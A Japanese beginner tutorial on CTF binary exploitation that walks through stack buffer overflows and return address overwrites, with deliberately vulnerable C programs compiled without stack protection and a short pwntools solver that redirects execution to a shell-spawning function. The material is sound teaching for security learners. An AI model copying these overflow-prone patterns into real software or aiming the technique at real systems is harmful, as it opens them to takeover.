Pwn入門
どうもPwn初心者です.
この記事ではpwnに入門し,CTFの問題を解きながらreturn addressを上書きできるようになることを目標とします.
return addressを上書きできるようになれば,pwnの超基本的な部分が分かるようになると思います.
return address等の用語もできるだけ解説するつもりなのでぜひ暇な人は入門してってください.
誤り等に気づいた方は連絡いただけると助かります.
この記事は,東京高専プロコンゼミ① Advent Calendar 2023の記事です!良ければほかの人の記事も読んでみてください!
環境
- x86_64のLinux系(debian)の環境を想定
- コンパイラはgccを想定
Windowsをお使いの方はWSLを使うといいと思います.
環境
ここではx86_64(大体のPCはこのCPU)向けの解説をするのでArm(macbookとかで使われているCPU)の環境を使っている場合相違があります.
arm(macとか)の人はQEMUやvmwareを使い仮想環境を作りましょう.
コンパイラについてバージョンが違うとすこし相違があるかもしれませんが多分問題ないと思います.
一応投稿者のバージョンを張っておきます.
gcc version 13.2.0 (Debian 13.2.0-4)
gccが入っていない場合installしてください.
sudo apt install build-essential
第0章 CTFとはPwnとは
CTFとは
CTFとはセキュリティの大会です。問題サーバーの脆弱性をついたり,問題ファイルを解析することでFlagと呼ばれる文字列を入手するゲームのようなものです.
Flag{HE110_PWN4b1e}
- 暗号を復号したり (Crypto)
- 鯖で動いているアプリの脆弱性をついて鯖に侵入したり (Pwnable)
- Webアプリの脆弱性を見つけて機密情報を得たり (Web)
- 渡されたファイルを解析したり (Reversing)
とセキュリティとコンピュータの総合的な力が問われる大会のことです.
CTFは企業や個人が開催していて世界中でほぼ毎週CTFが開催されています.
イベント型のCTF
CTFといば基本的にイベント型のCTFのことを指すと思います.
時間制限があり,その時間内に解けた問題のポイントで他プレイヤーと競い合います.
例
- SECCON Beginners CTF
日本国内ではおそらく最大の初心者向けのイベント型のCTF
このイベント型CTFの予定は以下のページやCTFやってそうな人をフォローしておけば知ることができます.
常設CTF
その名の通りいつでも問題を解けるCTFです.
例
- picoCTF
初心者向けの常設CTFとしてpicoCTFがあります
https://play.picoctf.org/practice
Pwnとは
Pwnable(Pwn)はCTFで出される問題のカテゴリの一つです.(picoCTFではBinary Exploitationと呼ばれている.)
主にLinux向けにビルドされた脆弱性を持ったアプリがサーバーで動いており,そのアプリの脆弱性を突いて,サーバーを乗っ取る問題です.
簡単なCTFでは普通,実行形式のバイナリとそのソースコードそして実際の鯖の情報(アドレスとポート)が配布されます.
問題を解く手順は以下の通りです.
- 配布ファイルを見て,脆弱性を見つける
- 脆弱性を突いて攻撃するプログラム(ソルバー)を作る
- ソルバーを実行しサーバーを乗っ取り
FLAGを取得する
第1章 簡単なスタックバッファオーバーフロー
CTFとは,Pwnとはなにか,なんとなく理解したところで,さっそくPwnに入門していきましょう.
まず基本の脆弱性stack buffer overflowの簡単な問題を解いていきましょう.
#include <stdio.h>
#include <stdlib.h>
int main() {
char a = 0xaa;
char buf[10] = {0};
printf("a: %p \nb: %p\n", &a, buf);
printf("What's your name: ");
fgets(buf, 20, stdin);
if (a != (char)0xaa) {
system("/bin/sh");
}
printf("HELLO CTF!, %s\n", buf);
return 0;
}
x86_64のLinux系(debian)の環境で以下のコマンドでコンパイルしてください.
Windowsをお使いの方はWSLを使うといいと思います.
gcc -o p1 p1.c
またgccが入っていないときはinstallしてください.
sudo apt install build-essential
環境
ここではx86_64(大体のPCはこのCPU)向けの解説をするのでArm(macbookとかで使われているCPU)の環境を使っている場合相違があります.
arm(macとか)の人はQEMUやvmwareを使い仮想環境を作りましょう.
実行するとローカル変数のアドレスが表示され,名前を聞かれます.
ソースコードを読めばわかる通りfgetsでユーザーからの入力をbufに最大で20文字書き込んでいます.
fgets(buf,20,stdin); // ユーザの入力を最大20文字bufに入れる
ここでbufの定義を見てみましょう
char buf[10];
おやおかしいですね.bufは最大10文字しか格納できませんが,fgetsで20文字書き込めてしまいます.(null文字を含めて
どうなるのでしょうか.10文字はbufに入れられるとして,あふれた10文字はどうなるのでしょうか?
とりあえず10文字以上入力してみましょう.
a: 0x7ffd98bbb47f
b: 0x7ffd98bbb475
What's your name: 0123456789a
これはbからあふれた文字によってaの値が上書きされてしまったためです.
解説
これをより鮮明に理解するためにはまずローカル変数がどこに保存されるのかについて理解する必要があります.
ローカル変数の行方
まずローカル変数とは関数の中で定義されているstaticでない変数のことです.
#include <stdio.h>
int main(){
int a; // ローカル変数
int b[10]; // ローカル変数
const int c = 2; // ローカル変数
static int d = 3; // not ローカル変数
printf("hello");
return;
}
ではこのローカル変数はどこに保存されているのでしょうか.
スタック
実はローカル変数はスタックと呼ばれるメモリ領域に保存されます.
例えば問題のプログラムのローカル変数は示す図のようにスタックに保存されます.
int main(){
char a = 0xaa;
char buf[10] = {0};
/// 以下略
このようにローカル変数はスタックと呼ばれるメモリ領域に積むようにおかれていきます.
とりあえず今はスタックというメモリ領域にローカル変数は置かれているというのをイメージすればいいです.
あふれた文字はどこに行くのか
ローカル変数がどこに保存されるのか分かったところで,次にあふれた文字はどこに行ってしまうのかについて考えてみましょう.
ここで重要なのは配列にどの順番でデータが入っていくのかです.
実は上の図の通り配列には上から下にデータが入っていきます.
なので例えば以下のように文字を入力したときは下の図のようになります.
ではあふれるだけ文字を入力したらどうなるでしょうか.
上の図の通りfgets()は改行と終端文字,合わせて2文字分を自動で入れてくれます.(指定した文字数内の場合.詳しくはhttps://www.ibm.com/docs/ja/i/7.3?topic=functions-fgets-read-string)
なので9文字を入力し改行すると(9文字+'\n'+'\0')で11文字.これでbufからあふれる文字数がfgetsで入ってしまいます.この場合どうなるでしょうかやってみましょう.
シェルが取れました.この時のスタックは以下の通り.
そうです実は溢れてしまうと,この通りその分だけ別のデータが上書きされてしまうのです.
これにより変数aの値が0(終端文字は0)になり,問題コード中の以下の条件を満たすようになり,system("/bin/sh");が呼ばれるのです.
if (a != (char)0xaa) {
system("/bin/sh");
}
「スタックにあるバッファが溢れてしまう」この脆弱性をスタックバッファオーバーフローと言い,スタック上にあるデータを書き換えることができてしまうのです!
flag{yattane!stack_buffer_overflow}
第2章 リターンアドレスってなんだろう
この入門での最終目的は,このリターンアドレスを第1章で理解した,スタックバッファオーバーフローで上書きすることです.
ですので次はこのリターンアドレスとは何かについて学んでいきましょう.
まず,リターンアドレスとは,call命令を実行したときに,スタックにpushされるアドレスです.(これがわかっていればこの章は多分飛ばして問題ないです.)
わからない場合,その前に本当に少しだけアセンブリについて学んでいきましょう.
アセンブリ
少しだけアセンブリについて学んでいきましょう.
今は完璧に理解しなくてもいいので軽く読んでください.
簡単にしか説明しないのでもっと知りたい人はこの節の下にわかりやすいアセンブリの資料を張っているのでそこを見るといいと思います.
アセンブリとは
コンパイルすると実行するためのファイルが生成されますね.(この画像のp1が実行するためのファイル)

大雑把に言うとそれは機械語というCPUが実行できる命令の集まりになっています.

ですがこれは人間が読めるものではないです.なのでその機械語一つ一つに一対一で名前を付けてあげたのがアセンブリです.
例えば先ほどコンパイルしたp1のアセンブリを見るためには以下のコマンドを実行しましょう.
objdump -M intel -d p1
アセンブリが見えたはずです.このように機械語をアセンブリに変換することを逆アセンブルといいます.
レジスタ
レジスタとはCPU内のメモリのことでいろんな演算に使われたり,関数に引数を渡す際に使用されたりします.
レジスタ一つ一つに名前がついています.
x86_64ではレジスタは8byte.(レジスタ一覧にあるようにそのレジスタの下位4byteなど一部を使うこともできる.)
レジスタ一覧.
一部のレジスタには役割があり,例えば
RSPというレジスタには,先ほどのスタックの一番上のアドレスが格納されます.
RBPはスタックの基準点として扱われます.
特にRIPというレジスタには,次に実行する命令が保存されているメモリのアドレスが入っています(重要)
スタック
スタック領域とはメモリ領域のこと.特にスタック呼ばれるデータ構造のように扱われるのでスタックと呼ばれています.
スタック(データ構造)
スタックに関係するレジスタは以下の二つです.
-
rspレジスタ.スタックの先頭のアドレスが入っています -
rbpレジスタ.スタックの基準となるアドレスが入っています
rbpはスタックの基準点として使われます.
例えばp1を逆アセンブルしたものを見ると以下のように基準点rbpから-1の位置に0xaaを置いていることがわかります.mov命令は次の節を見てください.

また,スタックの先頭にデータを置くpush,先頭からデータを取るpopという命令があり,スタックと呼ばれるデータ構造のようにスタック領域を使うことができます.(次の節を参照してください.
命令
たくさんの命令がありますが一部を紹介します.
mov
右の値を,左のメモリまたはレジスタに保存する.
mov rax, 0 # raxはレジスタの一つ
上の例では,RAXレジスタに0を代入している.
push
スタックに8byte分データを入れる.
push rax
例では,RAXレジスタに入っている値(8byte)をスタックの一番上に積む.
この時スタックの一番上が変わるためRSPも変わる.(rsp=rsp-8となる.
pop
スタックから8byte分データをとる.
pop rax
例では,スタックの一番上に積まれているデータ(つまりRSPがさすデータ)をRAXレジスタに入れる.
この時スタックの一番上が変わるためrspも変わる.(rsp=rsp+8となる.
pushの逆.
call
関数を呼び出す.
call 0x1234 # 関数のアドレス
実際にはRIPレジスタに関数のアドレスを入れて,スタックにリターンアドレスをpushしている.
ret
関数から出る.
ret
call命令と逆をやるようなものだと思えばわかりやすい.
スタックからリターンアドレスをpopしてripに入れる.(つまりpop rip
これだけわかればこの記事では問題ないはずです
わかりやすいアセンブリの資料たち
わかりやすい資料を張っておきます.もっと知りたい,またはこの記事がよくわからなかったときはこれらの記事を見ましょう.とても分かりやすいです.
この記事では100%理解する必要はないのでこれらの資料を必要な時に見てください.
- 人間コンパイラコンテストのチュートリアル
- x86のやつだけどわかりやすいやつ
- レジスタ一覧
アセンブリについては以上の資料を見れば大体わかると思います.
一応投稿主が書いたわかりやすいかは謎の資料も張っておきます.
- 分かりやすいかわからんけど投稿主が書いたやつ
リターンアドレス
ついに本命リターンアドレスとは何かです.といっても上の節を理解していれば簡単なはずです.
リターンアドレスとは,call命令を実行したときスタックにpushされるアドレスです.
では何のために存在するのでしょうか
何のためのリターンアドレス
それはret命令でcallを実行した元の場所に戻るためです
以下のようなプログラムを見てみましょう.
#include <stdio.h>
int win() {
printf("you win!\n");
return 0;
}
int main() {
printf("hello\n");
win();
return 0;
}
上のプログラムではmain関数でwin関数を呼び出していますがどうやってwin関数からmain関数に戻るのでしょうか.return 0;を実行すれば戻るのはそうですが,「どこに戻る」というのはどこに保存しているのでしょうか.
そうですその,どこに戻るのかを示しているのがリターンアドレスなのです!
そしてそれは先ほども記したようにスタックに保存されています!
一応,それが本当か確かめるべくgdbを使ってみましょう!
gdb
gdbはデバッグするためのツールで,実際に動かしながら,プログラムの動作やスタックの様子などを見ることができます.
CTFでも確実に使います.ですがここでは使い方はほかの記事に任せます.
この記事中では使えなくても問題ないですが,pwnをやるなら絶対に,使えるようになる必要があるとおもいます.
gdbデバッガのセットアップ等は以下の記事で紹介しています.
上段がレジスタの状態,
中段が実行しているアセンブリの内容(矢印が次に実行する命令を示している),
下段がスタックの内容です.
プログラムを進めてcall winを実行しwin関数の中に入ります.スタックの変化に注目してください.
するとどうでしょう.
確かにスタックに呼び出し元のmain関数へのアドレスがスタックに入っていますね.
「やったー!リターンアドレスを理解したよ!」(投稿者が切望するみんなの声)
flag{yattane!_return_address!!!!!!!}
第3章 リターンアドレスオーバーライト
リターンアドレスオーバーライトreturn address overwriteとはつまり最終目的であるリターンアドレスを上書きする攻撃のことです.
スタックにあるリターンアドレスをどうにかして上書きすることでret命令を実行したときに任意の場所に処理を飛ばすことができるのです.
問題を解き実践していきましょう.
#include <stdio.h>
#include <stdlib.h>
int win() {
asm volatile("mov $0,%spl"); // 問題簡単のためにここでrspを0x10境界にする.https://sok1.hatenablog.com/entry/2022/01/17/050710
printf("you win!\n");
system("/bin/sh");
return 0;
}
int main() {
char buf[16] = {0};
printf("win: %p\n\n", win);
printf("What's your name: ");
fgets(buf, 100, stdin);
printf("HELLO CTF!, %s\n", buf);
return 0;
}
以上のプログラムを以下のコマンドでコンパイルしてください.
gcc -fno-stack-protector p2.c -o p2
ここでは問題を簡単にするため,コンパイラに-fno-stack-protectorというオプションをつけています.
オプションについて
-fno-stack-protectorはスタックにある値が上書きされたことを検知するSSPという仕組みを無効にするためのオプションです.
逆に,有効にするには-fstack-protectorオプションで有効にできます.
SSP(Stack Smashing Protector)とは,リターンアドレスの前にcanaryと呼ばれる定数がセットされ,それが上書きされたら強制終了するというセキュリティ機構です.
今は簡単にするため無効化しているので,理解しなくても問題ないですが,CTFではこのcanaryをなんとかしてリークしたりすることが多いです.
https://qiita.com/GmS944y/items/b10a1abde35f7175ea4b
環境によって,SSPの有効無効のデフォルトが違うので,ここでは明示的に無効にしています.
デフォルトで有効かどうかは,以下のコマンドで確認できます.
gcc -v -E -x c - </dev/null 2>&1 | grep stack
win関数を呼び出すことができれば勝ちですが、mainでは呼ばれていません。
どのようにして解いていくのか、問題を解いていきましょう.
int main() {
char buf[16] = {0};
printf("win: %p\n\n", win);
printf("What's your name: ");
fgets(buf, 100, stdin);
/////// 略
まずおかしな点があることに気づきましたか?そうですね.
なんとbufが16文字分の配列なのに,fgetsで100文字も入れることができてしまいます!(第1章でやったとこだ!)
例のスタックバッファオーバーフローがあります!これで何かを上書きするのですが,さあ何でしょうか?
そうですね.リターンアドレスです.ではどこのリターンアドレスでしょうか?
実はそれはmain関数のリターンアドレスです.
mainのリターンアドレス.
実はmain関数にもリターンアドレスがあります.gdbで確認してみましょう.
このようにmainにも戻る場所があり,mainも別の関数から呼び出されているのです.
ではやるべきことがわかりました.バッファオーバーフローでmain関数のリターンアドレスをwin関数のアドレスで上書きしてしまえばいいのです.
するとmain関数のretが実行されたときにwinが実行され勝利をつかむことができます!
では具体的にどう入力すればmain関数のリターンアドレスを上書きすることができるのでしょうか.
スタックの状態
ここでmain関数のスタックの状態を確認しましょう.
このように,関数内ではまずpush rbpでスタックにrbpの値が積まれていることがわかります.その後sub rsp, 0x10でRSPから0x10(16)分引いてスタックを上に伸ばして,buf[16]をのメモリを確保しています.(sub命令は引き算する命令,この場合.rsp=rsp-0x10
次にgdbで確認してみましょう.

すると以上のようにリターンアドレスが入っていることがわかります.これを図にすると以下の通り.
この図を見てわかるように,buf[0]からリターンアドレスまでの距離は24bytesです.
つまり,24文字適当な文字を入力してから,win関数のアドレスを入力すると,リターンアドレスがwin関数のアドレスに書き換わり,その状態でmain関数のret命令が実行されると,win関数を実行できる,というわけです!
問題を解く
解き方がわかったので,実際に問題を解いていきましょう.
解き方をまとめると以下の通りです.
- win関数のアドレスを手に入れる
- 24文字適当に入力
- win関数のアドレスを入力
ここで,win関数のアドレスは実行するとプログラムが教えてくれます.(実行するたびに代わるので注意.
win関数のアドレスについて(今は読まなくてもいいです)
PIEという実行形式になっていると毎回プログラムをメモリのランダムな位置にプログラムを配置するようになり,簡単には任意の場所に飛ばすことができなくなります.(デフォルトでPIEは有効なので今回の問題も関数アドレスが毎回変わる.)
https://miso-24.hatenablog.com/entry/2019/10/16/021321
https://qiita.com/0yoyoyo/items/85122f31ba8d14332e3d
ここ以外で問題を解く際にPIEかどうか判別するには
checksecというコマンドで確認しましょう.
ではこのwin関数のアドレスで上書きしたいのですが,どうやって入力するのでしょうか..キーボードでは入力できませんし,毎回手打ちするのはめんどくさいですよね.
そこでpwnを解くときには良く,問題を解くためのプログラムが作られます.(このプログラムのことをsolverと言ったりする.
そしてpwnを解くプログラムを書くときによく用いられるライブラリの1つにPwntoolsというものがあります.
Pwntools
Pwntoolsはpwnを解くためのsolverを書く際に使われるライブラリで,pythonのライブラリです.
以下のコマンドでインストールできます.
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
使い方についてはとても分かりやすい記事があるのでそれを都度確認しましょう.
では実際にsolverを書いていきましょう!
まずライブラリを読み込み,process()でプロセスとやり取りできるようにします.
from pwn import *
io = process('./p2')
次に,実行した際に表示されるwin関数のアドレスを読み取るようにしていきましょう.
win = io.readline() # プロセスの出力した文字列から,一行読み取る
win = win[5:-1] # win: と \n を取り除く
今,変数winは数字の文字列なのでintに変換しそしてそれをbytes型という型に変換してやります.
win = int(win,16) # intに変換
win = p64(win) # p64でintをbytes型に変換
次に,24文字とwin関数のアドレスを入力する処理を書きます.
payload = b'A'*24+win # 24バイトのA(適当な文字)とwin
io.sendline(payload) # \nをつけて送信(入力)
最後にio.interactive()で双方向に入力出力できるようにします.
io.interactive() # 対話モードに入る
できたsolverは以下の通り.
from pwn import *
io = process('./p2')
win = io.readline() # プロセスの出力した文字列から,一行読み取る
win = win[5:-1] # win: と \n を取り除く
win = int(win,16) # intに変換
win = p64(win) # p64でintをbytes型に変換
payload = b'A'*24+win # 24バイトのA(適当な文字)とwin
io.sendline(payload) # \nをつけて送信(入力)
io.interactive() # 対話モードに入る
実行してみましょう.
python3 solver.py
you win!と表示されシェルが実行されました!!
ついに..ついにやりましたね!!!(歓喜)
flag{yatta~~!!pwn_pwn_pwn_pwn_ni_nyuumonda~~!!!omedetou!!}
やったね!!
最終章 これから
見事にリターンアドレスを上書きしてシェルを乗っ取ることができました!
この入門はここでおしまいです!
これからどうしましょう.なにをやるでもいいですが,例えば,今回のp2では簡単のために-fno-stack-protectorというオプションでコンパイルしていました,それについて調べたり,GDBについて調べたり,x86_64について学んだり..本当にやれることはたくさんあると思います!
CTFは広く楽しくPWNだけでなく暗号や,Web系の問題などもあります!そちらに入門するもよし!pwnを深めるもよしです!
どちらにせよ,強くなるにはCTFに出続け,調べて,学ぶということが必要不可欠です!
(調べる時は「〇〇ctf writeup」等で調べてると出てきます。)
この記事を読んでくれた皆様に,これからきっと楽しいCTFの毎日が待っていると願っています!
flag{yatta~~!!th4nk_y0u_f0r_re4d14ng!!!}
感謝
拙い文章でしたが,読んでいただきありがとうございました!
この記事は,東京高専プロコンゼミ① Advent Calendar 2023の記事です!良ければほかの人の記事も読んでみてください!!
さよなら!


























